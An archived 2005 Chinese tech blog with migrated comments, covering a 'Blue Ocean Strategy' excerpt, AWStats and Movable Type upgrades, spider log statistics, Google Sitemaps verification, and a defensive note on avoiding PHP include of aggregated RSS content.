　不幸的是，蓝色海洋大致属于未知领域。过去二十五年的策略研究，绝大多数集中在竞争本位的红色海洋策略(注)。其结果是大家相当了解如何在红色海洋技巧地竞争，从分析现有企业的潜在经济结构、选择低成本或建立差异性或专精一门的策略定位，一直到衡量竞争情势。有关蓝色海洋的论述偶尔可见。但是，对于如何创造蓝色海洋，却缺乏实际指引。由于缺乏创造蓝色海洋的分析架构，以及有效管理风险的原则，要创造蓝色海洋仍然只是痴人说梦，要经理人追求这种策略风险实在太大。本书为有系统地追求和掌握蓝色海洋，提供一套务实的架构和分析。(注：自从波特Michael Porter[1980,1985]提出开创性论述以来，竞争已占据了策略思考的中心。) 继续创造蓝色海洋

　虽然「蓝色海洋」一词听起来还很新鲜，其实蓝色海洋存在已久。这是往昔和当今企业生活固有的一部分。不妨回顾一百年前的情况，然后自问：「当今企业有多少是当时毫无所知的？」答案是：汽车、唱片、航空、石化、医疗保健、管理谘商等许多基本行业，当时都闻所未闻，或才刚开始萌芽。再回想三十年前的情况。当今许多总值几十亿美元的庞大企业，当时还毫不起眼，随便数数就有共同基金、手机、天然气发电厂、生物科技、折扣零售、包裹快递、厢形车、滑雪板、咖啡吧、家庭影视。仅只相隔三十年，市场已完全改观。

　现在把时钟拨到二十年后，甚或五十年后，试想到时候会出现多少目前未知的企业。如果历史是预测未来的指标，我们可以断言这些企业绝对不在少数。

　事实上，企业从来就不是静止不动的。它们会继续不断地演进。作业方式会改善，市场会扩展，参与作业的人来来去去。历史向我们显示，我们严重低估了人类创造新企业和改造现有企业的能力。美国人口普查局制定的行业标准分类(Standard Industrial Classification，SIC)，在公布施行半个世纪后，一九九七年已被北美行业分类标准(North America Industry Classification Standard，NAICS)取代。新制度把SIC编列的十个行业部门扩大为二十个，以反映新的企业领域现实情况。例如，旧制度下的服务业，现在扩大为七个企业部门，范围从信息、医疗保健，一直到社会援助。由于这些制度的设计是为了促进标准化和持续性，这种变化显示蓝色海洋急遽扩展的程度。

　但是，这些年来策略思考却一直集中在竞争本位的红色海洋策略。这有部分是由于企业策略根源于军事策略，至今仍摆脱不掉后者的深远影响。许多策略用语根本是借用军事术语，例如「总部」的首席「执行官」、「前线」的「部队」。如用这种方式来描述，策略基本上是面对一个对手，为某个固定而又范围有限的地盘而交战。但是，与战争不同的是，企业历史向我们显示，市场空间从来就不是固定的。相反的，人类长久以来一直在不断地创造蓝色海洋。因此，把全部心思放在红色海洋，等于接受战争蕴含的限制因素：有限的地域，必须击败敌人才能成功。这也是否认企业世界的独特力量：创造没有竞争对手的新市场空间的能力。

《蓝海策略》书摘点击下载

💬 历史评论

以下 122 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

surfchen · 2005-11-07 22:43

让我想起现在的google，以前的yahoo.（绝无贬低yahoo的意思）

公益捐助新途径：顺手捐发票

Sat, 05 Nov 2005 22:49:39 +0800

今天在中文网志大会上遇到了很多朋友，其中有来自台湾Yam的Vista。介绍了目前在台湾出现的一种公益事业捐助方式：顺手捐发票。台湾的发票也是抽奖的，不过不是刮刮卡，而是月底对发票号。这样很多人月底的时候往往积累的很多发票。人们可以将发票捐助给公益事业机构，由公益事业机构享受这些发票的兑奖，叫做顺手捐发票。

在国内很多地区的发票也已经是抽奖方式发布了，但的确有时候也有为兑出来的奖10元要花上半天时间领取的“鸡肋”问题。如果能将平时的发票汇总起来也省去不少浪费在兑奖方面的麻烦。比如：在一些大厦里做一些发票回收箱，汇集大家午餐开出的中奖发票，捐助慈善事业。也能促进大家开发票的积极性。

CNBlog作为国内民间非盈利性组织中非常有特色的一个：今天能在上海召开中文网志大会真是非常不容易的一件事情。除了热心志愿者的参与外，组织者良好的运作管理也是非常重要的一个环节。

在中国，民间非盈利性组织都是非常艰难的。的确需要大家更多努力，解决在：注册，资金和资金使用审计方面的问题。

💬 历史评论

以下 6 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

asiapan · 2005-11-06 02:25

有意思，平常确实不太有开发票的习惯

Fermi · 2005-11-06 07:49

Vista也去了？不過好像不止他一個喔，養樂多的應該去了不止一個ㄋ！

BigFatSea · 2005-11-06 20:37

这个主意好。。。。^_^

ztjun · 2005-11-06 22:24

博客也开始为自己做宣传了！不信？自己去看 http://www.baiwan-blog.com

Vista · 2005-11-12 21:59

的確台灣現在很"流行"捐發票給慈善機構而且有趣的是往往捐出去的發票特別容易中獎

所以現在台灣的公共場所或是咖啡店大賣場前面很多地方都有放置發票箱讓人捐輸

我這次在內地也刮中五塊但不知道如何去兌換也許內地也可以考慮用這種方式

謝謝車東幫忙發這篇文章:)

gangan · 2010-04-24 17:43

原来还有这种方式，真的很不错。。应该推广下呢。

FireFox死链检查插件：LinkChecker - Firefox link validator extension for web developers

Fri, 04 Nov 2005 16:07:37 +0800

这个工具对于Web开发者来说真是太方便了：LinkChecker - Firefox link validator extension for web developers 安装上插件后，右键一点就开始对当前页进行检查了：在自己的首页上试了一下绿色：Good 红色：死链黄色：转向/禁止访问灰色：忽略链接，锚链或者邮件地址等

感谢RainX的推荐。

以前还用一个脚本工具做批量的死链检查：DeadLinkCheck http://dlc.sourceforge.net/

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

RainX · 2005-11-05 07:58

呵呵，这个最早是xinquan (http://www.apear.cn) 告诉我的..

试用Zoundry：离线blog发布工具

Tue, 01 Nov 2005 16:07:15 +0800

谢谢HeRock的帮助，重要等到了Zoundry的邀请。以下是工作界面截图:
Technorati : zountry

本篇内容就是用Zoundry发布的. Zoundry后台引擎好像主要是用python写的.

💬 历史评论

以下 8 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

zhfyou · 2005-11-01 16:42

不知道是不是支持sina的blog平台

回复：不支持

Breeze · 2005-11-03 19:34

希望面向更多的平台, 或者等待blog程式API接口的统一标准了.

飞翔 · 2005-11-04 04:30

是不是什么平台上的BLOG都可以支持。

feiyafei · 2005-11-09 19:31

我在windows xp sp2 简体中文版系统上尝试过多个版本，包括最新版本（Version 0.9.137 ）的zoundry；安装后总是无法打开程序。

我打开安装目录下的记录文件（ C:\Program Files\Zoundry Blog Writer\sys\pyth\stderr.txt），上面的错误信息为：

Traceback (most recent call last): File “zBlogWriter.py”, line 14, in main File “ui\clientapp.pyc”, line 2737, in startClientApp File “ui\clientapp.pyc”, line 2724, in init UnicodeEncodeError: ‘ascii’ codec can’t encode characters in position 0-1: ordinal not in range(128) Exception exceptions.AttributeError: “JoeySingleInstanceChecker instance has no attribute ’thisown’” in ignored

2 Geek's blog slogan

Tue, 01 Nov 2005 02:40:04 +0800

今天查MagpieRSS的资料的时候看到了这个BLOGThe Fishbowl: 他的座右铭： ** tail -f /dev/mind > blog** 让我一下子想起了Jeremy Zawodny’s blog SELECT * FROM random_thoughts ORDER BY date DESC

时间在blog中是一个非常重要的因素，缺省的首页就是一个按倒排最新文章列表。而归档机制中：按月/按周的归档也是非常普遍的。

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Fenng · 2005-11-01 16:18

tail -f /dev/mind > blog 这样有Bug tail -f /dev/mind » blog 才好否则就变成熊瞎子掰苞米了 :)

回复：直接写信告诉blog作者

hilton · 2005-11-02 09:41

不是有-f吗？好象没有bug,除非涅磐一次。:)

分布式搜索引擎search.minty dowser类聚引擎和larbin蜘蛛

Mon, 31 Oct 2005 02:37:52 +0800

search.minty.org: Open, Distributed Web Search

Dowser: Dowser is a research tool for the web. It clusters results from major search engines, associates words that appear in previous searches, and keeps a local cache of all the results you click on in a searchable database. It helps you keep track of what you find on the web.

Larbin: crawler

Open, Distributed Web Search Murray Walker, search@minty.org

Consider this an RFC (Request For Comments).

Chinese Blogger Conference: 一宁的volunteer badge

Sat, 29 Oct 2005 23:22:58 +0800

[![](http://static.flickr.com/28/57178651_6e8f958fd5_m.jpg)](http://www.flickr.com/photos/yining/57178651/) [badge volunteer](http://www.flickr.com/photos/yining/57178651/)
Originally uploaded by Yining.

看到[张一宁](http://www.zhangyining.net)有了自己的新域名： [yining.org](http://www.yining.org) 最早知道一宁是他参与过[We the Media的中文翻译项目](http://blog.cnblog.org/archives/2005/01/we_the_media_ce.html)
[![](http://static.flickr.com/24/56881683_133edcc421_m.jpg)](http://www.flickr.com/photos/isaacmao/56881683/) [cnbloggercon -> web 2.0](http://www.flickr.com/photos/isaacmao/56881683/)
Originally uploaded by Isaac Mao.

下周就能在[Chinese Blogger Conference](http://blog.cnblog.org/bloggercon/)上见到他们了，想想都很兴奋。用[CNBloggerCon这个tag](http://www.technorati.com/tag/cnbloggercon)找到更多相关消息。
💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Yining · 2005-10-30 04:15

同兴奋同兴奋：）

cholo · 2005-11-10 20:51

Yining….your post was so interesting…thank you :)

Google Groups做留言簿：更严重的spam问题

Fri, 28 Oct 2005 18:53:47 +0800

将自己的留言簿迁移到groups~~-beta~~.google.com后，刚开始发现清静了很多，但不久以后就发现比原来更加严重的comment spam 比MT的留言簿更是有过之而无不及：

不得不将Google Groups中的很多留言模式设置成了需要批准才能发布，回复的时候也很不方便，自己的回复还需要自己批准一下……

Google Groups里面有一个通过邮件发表帖子的功能，因此有一个简单的映射关系 groupname@googlegroups.com 和 http://groups.google.com/group/groupname 这样就给了允许公开发表的论坛一个对外公开接收各种邮件的入口，各种spam邮件每天会通过这个空开的入口转发到你的GMail邮箱中。更要命的是在pending msg管理界面中：很多邮件故意造成的页面HTML错误会导致从pending msg管理界面中调用其他网站的图片/js等，从而帮助spammer确认各个group的活动性，然后针对有效地址发送更多的垃圾邮件。

💬 历史评论

以下 54 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Webleon · 2005-10-28 18:32

早就发现了，我的Groups也彻底关闭了，不知道怎么对付才好。

jicknan · 2005-10-28 22:57

这么恐怖？看了你的留言本，我还打算用 google-group 给自己建一个留言本呢; 现在看了你的文章，这个想法没有了^-^

wusaiqun · 2006-09-13 00:00

不知道我下载了Apache ，是ＷinBinary(MSI Installer)却安装不了？？／好象是安装软件的问题无法打开那该怎么办好呢？？

小陈 · 2006-09-13 10:40

请问邮件怎样导入,导出? 怎样操作?

余珊珊 · 2006-09-21 20:56

车东前辈,您好!我是某高校的一名研究生,最近在研究lucene.希望能用lucene来搭建web搜索引擎.不过好象在lucene的包中是不包含爬虫这一块的.是吗?请问如果我要做这个的话是不是只要把一个spider或crawler包嵌入近来就行了呢?非常盼望能得到您的指点.万分感谢!

xain · 2006-09-25 16:36

bbs2blog光名字就低俗就名而言,感觉那个2那个都不像是无缝的整合. 要就来个全面的.

5452 · 2006-09-26 13:58

不知道，车东大哥还能不能看到这个回帖~~~~~有个问题：IIS设置了按天截断之后，我设置awstats的bat每天8：00更新之后，我看到的每天数据只有前一天的后十六个小时的统计结果，前八个小时没有。我用的是awstats的timezone插件，设置的是（GMT+8），统计的html页面的最下边也表明我使用了timezone插件，但是就是少了八个小时的数据，希望东东大哥看见我的问题，有时间的话帮我分析一下是什么问题。

Fenng · 2006-09-28 19:31

AWStats升级到6.5：补充更新

Thu, 27 Oct 2005 07:29:33 +0800

AWStats是我一直关注一个网站统计工具：虽然对于日访问量千万级的网站统计速度上有些吃力：但是其丰富的统计机制对于一般中小网站还是非常有效的。2005/10/09 AWStats已经升级到6.5了。除了更新程序外：还需要升级的一些定义库，我整理了一些缺省样例配置文件和各种定义的补丁下载包：下载解包后， 1 直接复制到awstats/的执行目录下； 2 将GeoIP.dat文件复制到 /usr/local/share/GeoIP/ 下； 3 修改awstats.chedong.conf 成你需要的配置文件；相关的Bug 跟踪.希望开发人员积极推进这些定义的提交,下一个版本就能有更适合中国搜索引擎市场的配置文件了.

更新后包含国内主要搜索引擎的搜索结果页定义：search_engines.pm和蜘蛛定义：robots.pm 只需要覆盖原有lib\目录下的文件即可。

对缺省的awstats.model.conf的修改： 203c203 < DirData="."

DirData="./data" 571c571 < NotPageList=“css js class gif jpg jpeg png bmp ico swf”

NotPageList=“css js class gif jpg jpeg png bmp ico swf xml rdf cgi mp3” 1251c1251 < #LoadPlugin=“tooltips”

LoadPlugin=“tooltips” 1258c1258 < #LoadPlugin=“decodeutfkeys”

LoadPlugin=“decodeutfkeys” 1285c1285 < #LoadPlugin=“geoip GEOIP_STANDARD /pathto/GeoIP.dat”

LoadPlugin=“geoip GEOIP_STANDARD /usr/local/share/GeoIP/GeoIP.dat”

以下是我的网站的定义样例：more awstats.chedong.conf Include “common.conf” LogFile="/home/apache/logs/chedong_access_log.%YYYY-24%MM-24%DD-24" SiteDomain=“www.chedong.com” HostAliases=“chedong.com” DefaultFile=“index.html index.php”

[安全漏洞] 跨服务器之间的内容同步不能使用php的include/require函数

Wed, 26 Oct 2005 09:28:23 +0800

前2天读到了? RSS阅读中潜在的安全问题 | 未完成 - Incomplete，讲的是混杂在Rich Text的RSS中的js会在RSS阅读客户端执行从而导致潜在的漏洞问题。正巧我在上个周末的时候也遇到了类似的一个问题：不过更严重的是在RSS聚合的服务器端。我的首页是用require_once(’lilina.html’) 的方式包含一个lilina.php生成的静态页面组合生成的，源代码如下。其中也包含了跨服务器PHP脚本执行的安全漏洞。如果我订阅的RSS中有黑客将其中混入 <?php >这样的代码，这样一包含：不就可以直接在我的服务器上直接运行php脚本了吗？这个潜在漏洞的发现还是从MSN的Search blog的一篇FEED中引出的。

上周日的问题是这样的：周日上午我忽然发现自己的blog中间require的部分无法显示了，调查了一个上午原来php新版本中缺省将display_error关闭了，程序遇到错误只会停止执行，需要在需要显示错误信息的php页面中设置： ini_set(‘display_error’, true); 才会正常显示错误。我另外做了一个test.php 显示了一下：发现是某行上除了php 解析错误。定位过去才看到原来是MSN的Search blog的一篇上有一个 <?标记，被require_once后，于是后面的html代码被当作php代码：当作php脚本的开始执行了，当然错误很多。开始想先将<?这样的标记禁掉通过设置php.ini中的short_open_tag = Off，但这样治标不治本，而且还导致了更多的php代码泄漏。正确的方法是包含一个静态文件时：使用fopen然后一行一行的buffer print出来，这样就不会执行远程文件中可能的php代码了，不知道PHP有没有包含其他文件但不执行其中的代码简单函数。代码如下：

$filename = "lilina.html"; $dataFile = fopen( $filename, "r" );
if ( $dataFile ) { while (!feof($dataFile)) { $buffer = fgets($dataFile, 4096); echo $buffer; } fclose($dataFile); } else { die( “fopen failed for $filename” ); }

后记：谢谢 Zheng Kai: 我已经改用 file_get_contents(’lilina.html’);了。

💬 历史评论

以下 7 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Sohu Agent

Tue, 25 Oct 2005 16:15:50 +0800

最近从日志里发现了Sohu的Spider的踪迹: 感觉Sohu的蜘蛛命名还是应该更规范一些。

220.181.26.112 - - [24/Oct/2005:12:15:11 +0800] "GET /tech/unicode_java.html HTTP/1.1" 200 12857 "-" "sohu agent" 220.181.26.111 - - [24/Oct/2005:13:00:52 +0800] "GET /tech/resin.html HTTP/1.1" 200 8221 "-" "sohu agent" 220.181.26.111 - - [24/Oct/2005:13:00:52 +0800] "GET /bbcweb/206.htm HTTP/1.1" 200 1870 "-" "sohu agent"

之前写过一篇关于spider跟踪的文章：让搜索引擎Spider告诉你：什么时间，从哪里，用什么身份抓取了你的网站。已经将Sohu agent加入了我的AWStats统计的robots.pm中。

具体网站上的spider是从哪里抓过来的，根据最近几天日志统计的各个引擎的蜘蛛抓取分布和频度统计

Baidu Spider: 1212 202.108.11.236 354 202.108.22.88 352 61.135.145.251 351 202.108.250.197 322 202.108.11.241 199 202.108.250.246 126 61.135.145.211 89 202.108.22.76 64 159.226.50.33 37 61.135.145.209 GoogleBot 340 66.249.66.239 172 66.249.64.30 165 66.249.71.29 153 66.249.64.79 150 66.249.64.66 148 66.249.64.39 144 66.249.64.28 137 66.249.64.55 132 66.249.64.58 129 66.249.71.73 Yahoo! Slurp 284 202.160.180.164 268 202.160.180.172 252 68.142.249.115 252 202.160.180.168 247 202.160.180.60 241 202.160.180.154 237 202.160.180.158 223 202.160.180.199 213 202.160.179.120 212 202.160.180.162 Sohu Agent 536 220.181.26.113 384 220.181.26.110 327 220.181.26.112 134 220.181.26.109 79 220.181.26.111 13 220.181.26.107 12 220.181.26.74

统计脚本样例：grep -i Googlebot *|awk ‘{print $1}’ |awk -F ‘:’ ‘{print $2}’ |sort|uniq -c|sort -rn |head -10

你的blog用户都是通过那些搜索引擎找到你的？

Mon, 24 Oct 2005 13:31:35 +0800

[![](http://static.flickr.com/33/55444219_a3dc6fe95e_m.jpg)](http://www.flickr.com/photos/chedong/55444219/) [Jeremy Zawodny's blog(英文)2005年10月份的referer统计](http://www.flickr.com/photos/chedong/55444219/)
Originally uploaded by Che Dong.

我的[网站上的统计](http://www.chedong.com/cgi-bin/awstats/awstats.pl?config=chedong)：
Google 48.7 %

BaiDu 41.6 %

QQ 3.2 %

Yahoo 1.5 %

3721 1.4 %

YiSou 0.8 %

SoGou 0.7 %

NetEase 0.5

MSN 0.3 %

你的网站上的流量来源中搜索引擎流量是怎么分布的呢？另外，你使用的网站流量统计工具是什么? 我用的是awstats

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

tristones · 2005-10-24 21:36

Google 53.6 % Baidu 41.7 % Unknown search engines 1.5 % Yahoo 1.5 % Google (Images)1.2 % DMOZ 0 % Sina 0 % search.ch 0 % MSN 0 % Sohu 0 %

[MT]升级：迟来的MovableType 3.2

Fri, 21 Oct 2005 11:33:15 +0800

感觉最近2年MT没做别的，几乎大部分改进都是围绕anti spam了。Spam问题的确已经是困扰很多movabletype用户的主要问题，比如前2天pronet上一封邮件的标题是这样的：“spam spam spam, I DO NOT like spam”。在旧版的MT中我主要依靠mt-blacklist和SpamLookup这2个插件进行SPAM的处理。mt-blacklist已经积累了4万多次被block的记录。我自己的BLOG仍然以每天几十封spam的速度遭受轰炸，国庆假期回来，SpamLookup中已经积累了几百封pendding的垃圾信待确认。昨天晚上终于下决心将后台blog系统整体升级了一把，其实MT 3.2今8月底就发布了。但是看到了一些升级失败的例子，其中新的垃圾留言识别和管理机制是大部分用户都最看重的功能。

升级成功后的留言管理界面：新版本的3.2中对于comment spam和trackback spam都增加了一定的改进。

升级步骤： 1 我下载了MT 3.2的完整版 2 上传解包，备份原来的mt 目录成 mtold，将新版本复制到cgi-bin/mt目录下 3 将究旧版中的mt.cfg mt-db-pass.cgi复制到新目录下，新版本的配置文件和原来又很大不同： mt.cfg 改成了使用mt-config.cgi (缺省模板为：mt-config.cgi-original)而且数据库密码也可以在其中设置了，而不是相以前那样使用，当然，原有的mt.cfg+mt-db-pass.cgi也是可以用的。另外：配置中的很多样例都改成使用完全路径了，完整的修改样例如下： 28c28 < CGIPath http://www.example.com/cgi-bin/mt/

CGIPath http://www.chedong.com/cgi-bin/mt/ 35,39c35,39 < # ObjectDriver DBI::mysql < # Database < # DBUser < # DBPassword < # DBHost localhost

ObjectDriver DBI::mysql Database DBUser DBPassword password DBHost 86c86 < # StaticWebPath http://www.example.com/mt-static

StaticWebPath http://www.chedong.com/blog 93c93 < # HelpURL http://www.example.com/mt-static/docs/

给在校学生的建议：去sf.net上找个项目做做

Fri, 14 Oct 2005 18:57:03 +0800

前2天看到：Google与李开复博士: 大学生如何为加盟Google做准备中间有一条：（2）多实战。通过编程的实战积累经验、内化知识。建议大家争取在大学四年中积累编写十万行代码的经验。

这点我非常有赞同，但对于大部分学生来说没有方向是一个主要问题。去哪里找项目做呢？我推荐：SourceForge.net：那里有大量的开源项目，虽然项目的质量良莠不齐，其中有不少项目是半成品，这里也是很多国外在校学生毕业设计的试验田。先找一两个自己能用的系统：比如BLOG TWIKI。搭建起来使用一下，使用过程中遇到的问题想办法自己从代码层面解决，然后将修正提交给相应项目争取加入到下一个发布版本中。从中应该很快能学到不少东西，包括如何参与多人项目的合作开发等等……

我关注的几个项目: AWStats网页日志分析系统 Lilina: 基于MagpieRSS的RSS聚合工具

更新：2007-06-01 对学生朋友的一点建议

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

cube316 · 2005-10-26 09:11

主意不错，可惜看到的晚了些，业已毕业。从这边可以领略到许多没有涉及过的领域，感觉视野开阔了不少，谢谢车东。

linjieduan · 2006-04-10 14:30

好主意啊，值得借鉴。

天瑞 · 2008-12-14 23:15

谢谢车东给了这么好的建议，是我的视野开阔了不少！我还想知道一些关于电信工程及其自动化专业就业情况，以及如何规划自己的未来，谢啦！

Google为李开复博士新建的博客网志：kaifuleegoogle.com

Sun, 18 Sep 2005 23:01:56 +0800

还记得Google的斑竹吗？最近Google为李开复博士新建了一个博客网志：kaifuleegoogle.com Google与李开复博士：摘要如下引言

欢迎光临我们新建的李开复博士的博客网志！正如许多人可能知道的，我们七月聘请了李博士来创建我们在中国的工程研究院。受聘后不久，李博士的前雇主微软公司就起诉李博士和Google公司。

我们想通过一个中文的临时博客网志帮助李博士和Google的中国朋友们了解事件的动态。因为法律问题有时候会非常复杂，可能会使一些人感到困惑。

在这个博客网志我们将会刊登各种各样的内容，让大家能了解事件的进展，包括诉讼摘要、法庭记录、和我们对事件的解读。我们也会经常透过某位我们的律师，与各位分享我们对本案的法律观点。合适的时候，我们也会请李博士写一些内容。

我们盼望这个博客网志能帮助中国的朋友们了解远在加州的复杂法律程序。

– Google公司

我查了一下whois: 的确是jgoldman@google.com 9月9日注册的 Domain Name: kaifuleegoogle.com

Registrant Contact: Google Inc kaifuleeblog@gmail.com Google Inc 1600 Amphitheatre Pkwy Mountain View, CA 94043 US +1.6502530000

Administrative Contact: Google Inc kaifuleeblog@gmail.com Google Inc 1600 Amphitheatre Pkwy Mountain View, CA 94043 US +1.6502530000

Technical Contact: Google Inc jgoldman@google.com Google Inc 1600 Amphitheatre Pkwy Mountain View, CA 94043 US +1.6502530000

Billing Contact: Google Inc kaifuleeblog@gmail.com Google Inc 1600 Amphitheatre Pkwy Mountain View, CA 94043 US +1.6502530000

装在U盘里的Windows XP：闪存改变的软件应用

Sun, 18 Sep 2005 21:46:59 +0800

前些天看到的：

把xp装在 U盘里

Originally uploaded by herock.

硬件的发展越来越明显的改变软件产品的设计。绑定专用软件的硬件产品的越来越多了，记得以前需要自己用旧机器安装Linux+NAT服务器做代理服务器让多台机器上网呢：现在一个无线HUB就解决了，配置很方便。

最近感觉更多的是闪存的发展对产品的影响： QQ2005也出了基于USB的电话软件：在机场买的很火。而越来越小的iPod产品也正预示着闪存存储在加速代替硬盘的趋势。

今天看到报道：美国东部时间9月18日消息，三星公司本周推出了一款16GB的NAND闪存芯片，使用的是50nm技术，比三星去年9月份推出的闪存芯片的容量增加了一倍。其半导体部门首席执行官黄昌圭表示，硬盘的时代正在逐渐结束，闪存时代即将来临。　　据悉，他还称：“NAND闪存技术正在以每年增加一倍容量的速度迅速发展。”这也就意味着，三星推出的这款16GB闪存芯片将从移动设备，很快进入笔记本电脑硬件设备领域。

以后可能有很多无盘工作站：提供USB接口，大家带着USB硬盘就可以想笔记本一样随处使用了。

BLOG="Better Listings On Google" ? Google BlogSearch上的 BSP索引收录量比较

Sun, 18 Sep 2005 02:37:35 +0800

Google Blog搜索引擎中的BSP收录量比较： BlogSpot.com Google收购的Blogger服务对应的发布服务： 9,598,736 MSN也是最大的赢家之一，使用：inurl:spaces.msn.com 搜索：MSN Spaces的索引量：8,691,835。 LiveJournal: 1,992,742 TypePad: 444,189 Yahoo!360: 20,885

而国内的BLOG服务商显得相对收录数量较少：最好的CSDN: 24,750 Donews.net: 10,377 而：BlogChina/BlogBus/BlogCN都仅有数十，数百量级的收录量。 chedong.com: 收录量为21篇。

其他BLOG类型统计：图片Blog: FlickR: 518,218 链接Blog: del.icio.us/365key都只有几百索引量

推荐阅读：BLOG means “Better Listings On Google”

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

feedss · 2005-09-18 11:09

feedss.com中文RSS搜索引擎对各BSP的索引量： http://www.feedss.com/blog/2005/09/18/1127011748046.html

歪酷网:57612 博客中国blogchina:278501 bokee:bokee:1182 博客动力:7652 你的博客网:3630 中国博客:37975 Blogbus:8982 blog.donews.com:29401 donews.net:53380 中华部落阁:45090 AnyP.cn:15879 blog.csdn.net:55700 spaces.msn.com:14321 数据截止2005-09-18 11：00 排名不分先后！

通过Google webmasters tools提交SiteMaps：和Googlebot直接对话

Thu, 15 Sep 2005 16:17:14 +0800

昨天Google发布了BlogSearch 正确的提交自己的RSS还是要通过SiteMaps：今天重新用了一下Google的SiteMaps网站：使用了一下提交网站认领（确认）功能。通过SiteMaps服务，网站管理员可以看到自己网站被Google抓取的情况。

具体的方法如下：Googlebot要求你在网站的FEED目录下创建一个空文件名，比如：确认网站： http://www.niernier.com/ Google 已经抓取了您的网站 http://www.niernier.com/ ，并将向您展示某些结果。然而，为确保我们不会将您网站的隐私信息透露给他人，我们需要确认您的所有权。

创建一个确认文件

创建名为 GOOGLE1cd1cd73cbe423a2.html 的空文件。该文件使 Google 可以对您进行唯一确认。您可以在任何文本编辑器中创建该文件。该文件应为空，因为我们只是检查其是否与您的 Sitemaps 位于同一位置，而不会阅读其内容。您可以在此处阅读有关此文件的详细信息。

上传确认文件

您创建确认文件后，放置在您服务器上的 http://www.niernier.com/。

确认状态： http://www.niernier.com/GOOGLE1cd1cd73cbe423a2.html 已确认查看网站状态 »

« 返回我的 Sitemaps

在网站上创建这个文件(比如用touch)后：GOOGLE1cd1cd73cbe423a2.html 点击“检查”Googlebot会立刻访问这个文件：记录到的日志如下 66.249.65.141 - - [15/Sep/2005:16:13:27 +0800] “HEAD /GOOGLE1cd1cd73cbe423a2.html HTTP/1.1” 200 0 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)” Googlebot真是够省的，连内容都不要，只要HTTP HEAD中发现这个文件存在即可。如果成功：这个网站是你的了！网站被认领的好处在于你可以看到Googlebot的访问日志：从而帮助你的网站进行死链检查。

比如我的网站的“ 统计信息”如下： 网站： http://www.chedong.com/blog/ 在我们的常规抓取过程中发现的网址

作为我们常规抓取过程的一部分，我们一直在抓取您的网站。这包括来自您的网页以及其他网站网页的以下链接。以下我们列出了在此抓取过程中无法访问的网址，以及解释我们为什么无法访问的链接。

网址错误 http://www.chedong.com/blog/archives/000019.html HTTP 错误 http://www.chedong.com/blog/archives/000020.html HTTP 错误 http://www.chedong.com/blog/archives/000027.html HTTP 错误

今天回头再看：SiteMaps的意义感觉卢亮说的还挺对的，这种和SPIDER的即时交互是以前没有过的体验。

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

911 四年前的今天你在做什么？

Sun, 11 Sep 2005 22:54:39 +0800

记得有一个记载：清末一个官员第一次在长江中看到英国的“小火轮”后即刻晕了过去，醒来的第一句话就是“这个世界要变天了……”，这我第一次使用Google搜索引擎的时候感觉是类似的。

四年前的9.11也是一个对世界改变很多的日子，而那天对我来说却有特别的意义：那天夜里我是在北京网易的办公室里加班度过的。那天我们完成了基于Lucene的新版网易搜索引擎（指的是用Lucene代替了当时大部分门户使用的GAIS），而刚刚成功切换到新引擎的喜悦很快被Judie通过MSN发给我的消息所打破：“纽约发生恐怖袭击的消息，快去看新浪论坛……”

回想起来：从Jack Xu确定我们使用Lucene这个方向到项目上线：我们用了将近4个月左右的时间：而当时Lucene 1.2还是一个在SourceForge孵化的项目。还要感谢当时网易的搜索产品经理：肖尚雷给我的机会，是他带我进入这个行业，让我能有时间从头到尾学习了Lucene这个项目的源代码。在Lucene之前，各个门户网站的搜索用的还是台湾中正大学中正大学资工所创立的一个索引/查询引擎GAIS，GAIS不提供源代码，只有可执行版本的工具包（有不同平台下的binary发布版）。四年过去了：Lucene项目发展很快并应用到大量的WEB和桌面应用中。网易也许是第一个使用Lucene引擎的，我也很高兴将Lucene推广并应用到了更多的项目中，包括：搜房的后台全文检索； BlogChina的全文检索； GrassLand Blog搜索项目；

全文检索对于CMS中一个非常重要的提升：至少解决了站内搜索问题。虽然很多网站并不直接获得非常多的站内搜索流量，但是全文检索技术是将网站内部资源很好的相互引用起来的总要手段，从而成为网站发布系统很关键的一个环节。而且以Lucene为索引/检索核心的完整搜索引擎项目Nutch也在Apache基金会的支持下不断进步中，结合自动分类技术，蜘蛛/分类技术也会成为下一轮CMS改进的另外一个发展趋势。

感谢Fenng: 帮我找到了那个典故的出处胡林翼，湘军悍将，晚年任湖北巡抚。一次，他去安庆和曾国藩会面，返回武昌，路过长江，正好见湘军水师浩浩荡荡逆流上行，鼓着风帆，乘风破浪。胡林翼很高兴，他感觉耀武扬威，非常气壮。这时突然开来一艘英国的火轮船，也是逆流。火轮船迅速超越了湘军水师，激起的波浪，把湘军水师的一条船给掀翻了，有人落水，旁边船上的士兵纷纷跳下来救人。胡林翼当时一个跟头摔下来，周围人把他弄醒，问胡大人怎么了？胡林翼醒来第一句话就是“天要变了”。

💬 历史评论

以下 14 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

ada · 2005-09-11 23:19

顶！一步一个脚印，踏踏实实实现自我。

想想我自己，四年前的今天，我还在s公司混混噩噩的过日子，四年后的今天我已经不得不分出周末的时间来工作，四年后的今天会是怎样？

夜郎君 · 2005-09-12 09:01

记得有一个记载：清末一个官员第一次在长江中看到英国的“小火轮”后即刻晕了过去，醒来的第一句话就是“这个世界要变天了……”，这我第一次使用Google搜索引擎的时候感觉是类似的。

看《林则徐》时他有类似的说法（表示不能夜郎自大，应该向他人学习了），不知道真的是不是他？

Fenng · 2005-09-12 09:25

清朝官员：胡林翼

唐太妃 · 2005-09-12 11:03

